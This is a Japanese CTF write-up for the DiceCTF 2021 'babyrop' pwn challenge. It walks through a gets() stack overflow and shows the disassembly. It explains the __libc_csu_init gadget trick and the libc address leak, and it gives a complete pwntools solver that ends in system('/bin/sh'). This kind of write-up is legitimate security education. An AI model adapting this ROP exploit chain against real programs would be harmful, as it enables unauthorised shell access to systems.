DiceCTF 2021 Writeup
目次
成績
etherknotで参加してpwnを1問だけ解きました。
チーム成績は114位でした。(チームメンバーすごい)
Writeup
Pwn
babyrop
mainを覗くと簡単なBOFであることがわかります。
canaryも確認するとoffでした。
0000000000401136 <main>: 401136: 55 push rbp 401137: 48 89 e5 mov rbp,rsp 40113a: 48 83 ec 40 sub rsp,0x40 40113e: ba 0b 00 00 00 mov edx,0xb 401143: 48 8d 35 ba 0e 00 00 lea rsi,[rip+0xeba] # 402004 <_IO_stdin_used+0x4> 40114a: bf 01 00 00 00 mov edi,0x1 40114f: e8 dc fe ff ff call 401030 <write@plt> 401154: 48 8d 45 c0 lea rax,[rbp-0x40] 401158: 48 89 c7 mov rdi,rax 40115b: b8 00 00 00 00 mov eax,0x0 401160: e8 db fe ff ff call 401040 <gets@plt> 401165: b8 00 00 00 00 mov eax,0x0 40116a: c9 leave 40116b: c3 ret 40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
ということでbofさせるわけですが、第三引数がうまく設定できなかったのでチームメンバーに質問したところ__libc_csu_initというのが使えるという情報をいただきました。
参考はこちらです。
x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる - ももいろテクノロジー
r15に呼び出したい関数、rbxを0にすると好きな関数が呼び出せるみたいです。
またr12,r13,r14がそれぞれ引数になって引数が3つまでの関数が好きに呼べるみたいです。
あとrbp==rbx+1にする必要があるのでそこが注意が必要です。
それらを利用してwriteのGOTをセットしてwrite関数でlibcの位置を特定します。
そこからlibc内のオフセットを求めるわけなのですが、今回はlibcの配布がなかったので分からんやん!と思っていたら以下のようなサイトがあるみたいです。
リークしたアドレスの下三桁とSymbolを入力するとlibcを特定してくれるみたいです。
またそれに対応するlibcのダウンロードもできるようです(便利すぎ)
このサイトで調べるとglibc2.31なのがわかりました。
あとは writeのアドレス-writeのオフセット をするとlibcのアドレス位置がわかるので好きな関数が呼び出せます。
ということでsolverです。
from pwn import * binary = './babyrop' elf = ELF(binary) rop = ROP(elf) context.binary = binary p = remote('dicec.tf', 31924) ret = 0x40101a write_plt = 0x401030 write_got = 0x404018 gets_plt = 0x401040 pop_rdi = 0x004011d3 # 0x004011d3: pop rdi ; ret ; (1 found) pop_rsi_r15 = 0x004011d1 # 0x004011d1: pop rsi ; pop r15 ; ret ; (1 found) pop_r14_r15 = 0x004011d0 # 0x004011d0: pop r14 ; pop r15 ; ret ; (1 found) call_write = 0x40114f main = 0x401136 mov_rdx_r14 = 0x4011b0 # __libc_csu_init dummy = 0 payload = b'A' * 72 payload += p64(0x4011ca) payload += p64(0) payload += p64(1) payload += p64(1) payload += p64(write_got) payload += p64(6) payload += p64(write_got) payload += p64(0x4011b0) payload += p64(dummy) payload += p64(dummy) payload += p64(dummy) payload += p64(dummy) payload += p64(dummy) payload += p64(dummy) payload += p64(dummy) payload += p64(main) p.sendlineafter('Your name: ', payload) write_addr = u64(p.recv(6)[:6].ljust(8, b'\0')) print(hex(write_addr)) libc_addr = write_addr - 0x1111d0 system_addr = libc_addr + 0x055410 binsh = libc_addr + 0x1b75aa payload = b'A' * 72 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(ret) payload += p64(system_addr) p.sendlineafter('Your name: ', payload) p.interactive()